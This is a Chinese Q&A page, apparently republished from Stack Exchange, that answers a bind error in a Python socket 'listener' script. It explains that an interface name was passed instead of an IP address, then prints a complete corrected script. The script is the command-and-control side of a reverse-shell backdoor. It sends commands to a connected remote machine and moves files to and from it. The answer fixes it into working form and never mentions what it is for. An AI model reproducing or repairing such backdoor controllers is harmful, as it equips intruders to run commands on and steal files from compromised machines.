You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python Socket监听脚本报错OSError: [Errno 99]无法分配请求地址

解决OSError: [Errno 99] Cannot assign requested address 问题及代码修正

问题根源

  • 你调用SocketListener(interface, port)时,把**接口名(如eth0)**直接传给了构造函数的ip参数,但socket.bind()要求传入的是IP地址字符串(如192.168.1.100),不是接口名称,系统无法将接口名解析为可绑定的地址,因此报错。
  • 你实现的get_user_ip方法从未被调用,而且该方法依赖self.interface属性,但你没有在构造函数中保存传入的接口名,导致这个方法根本无法正常工作。

修复步骤

  1. 修改SocketListener构造函数,接收接口名和端口,先通过接口名获取对应IP,再进行绑定。
  2. 初始化self.interface属性,让get_user_ip能正常调用。
  3. 在绑定Socket前,先调用get_user_ip获取正确的IP地址。

修正后的完整代码

import socket
import base64
import simplejson
import optparse
import subprocess
import sys

class SocketListener:
    def __init__(self, interface, port):
        self.interface = interface  # 保存接口名到实例变量
        self.port_to_listen = port
        self.user_ip = self.get_user_ip()  # 先获取接口对应的IP
        
        my_listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        my_listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        my_listener.bind((self.user_ip, port))  # 使用获取到的IP绑定
        my_listener.listen(1)
        print(f"Listening on {self.user_ip}:{port}...")
        (self.my_connection, my_address) = my_listener.accept()
        print("Connection OK from " + str(my_address))

    def get_user_ip(self):
        ip_addr_process = subprocess.Popen(["ifconfig", self.interface], stdout=subprocess.PIPE)
        output, error = ip_addr_process.communicate()

        for line in output.decode().split("\n"):
            if "inet" in line and "netmask" in line:
                # 过滤掉回环地址(如果需要),这里直接取第一个inet地址
                return line.split()[1]
        # 如果没找到IP,抛出异常提示
        raise ValueError(f"Could not get IP address for interface {self.interface}")

    def json_send(self, data):
        json_data = simplejson.dumps(data)
        self.my_connection.send(json_data.encode("utf-8"))

    def json_receive(self):
        json_data = ""
        while True:
            try:
                json_data += self.my_connection.recv(1024).decode()
                return simplejson.loads(json_data)
            except ValueError:
                continue

    def command_execution(self, command_input):
        self.json_send(command_input)

        if command_input[0] == "quit":
            self.my_connection.close()
            sys.exit()

        return self.json_receive()

    def save_file(self, path, content):
        with open(path, "wb") as my_file:
            my_file.write(base64.b64decode(content))
            return "Download OK!"

    def read_file(self, path):
        with open(path, "rb") as my_file:
            return base64.b64encode(my_file.read()).decode()  # 转成字符串,避免JSON序列化问题

    def start_listener(self):
        while True:
            command_input = input("Enter command:")
            command_input = command_input.split(" ")
            try:
                if command_input[0] == "upload":
                    my_file_content = self.read_file(command_input[1])
                    command_input.append(my_file_content)

                command_output = self.command_execution(command_input)

                if command_input[0] == "download" and "Error!" not in command_output:
                    command_output = self.save_file(command_input[1], command_output)
            except Exception as e:
                command_output = f"Error: {str(e)}"  # 显示具体错误信息,方便调试

            print(command_output)

def get_user_input():
    parse_object = optparse.OptionParser()

    parse_object.add_option("--interface", dest="interface", help="Please enter your interface: ")
    parse_object.add_option("--port", dest="port", help="Please enter the port to be listened to:")

    options, _ = parse_object.parse_args()

    if not options.interface:
        print("Please enter your interface.")
        sys.exit()

    if not options.port:
        print("Please enter the port to be listened to.")
        sys.exit()

    return options.interface, int(options.port)

if __name__ == "__main__":
    interface, port = get_user_input()
    my_socket_listener = SocketListener(interface, port)
    my_socket_listener.start_listener()

额外改进说明

  • 在get_user_ip中添加了异常抛出,避免找不到IP时后续绑定无意义的空值。
  • 修改read_file方法,将base64编码结果转为字符串,否则JSON序列化会失败(因为bytes类型无法直接被simplejson序列化)。
  • 错误处理中添加了具体异常信息,方便调试。
  • 构造函数中添加了监听地址的打印,让你清楚当前监听的IP和端口。

类相关知识补充

  • 类的实例变量(如self.interface、self.user_ip)是用来在类的不同方法之间共享数据的,你之前没有把接口名保存到self.interface,导致get_user_ip无法获取到接口参数。
  • 构造函数__init__是类实例化时最先执行的方法,适合用来完成初始化工作,比如获取IP、创建Socket等。
  • 类内部的方法调用需要用self.方法名(),比如self.get_user_ip(),这样才能正确访问实例的属性和方法。

内容的提问来源于stack exchange,提问作者D4rkh0w07

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.18 02:52:54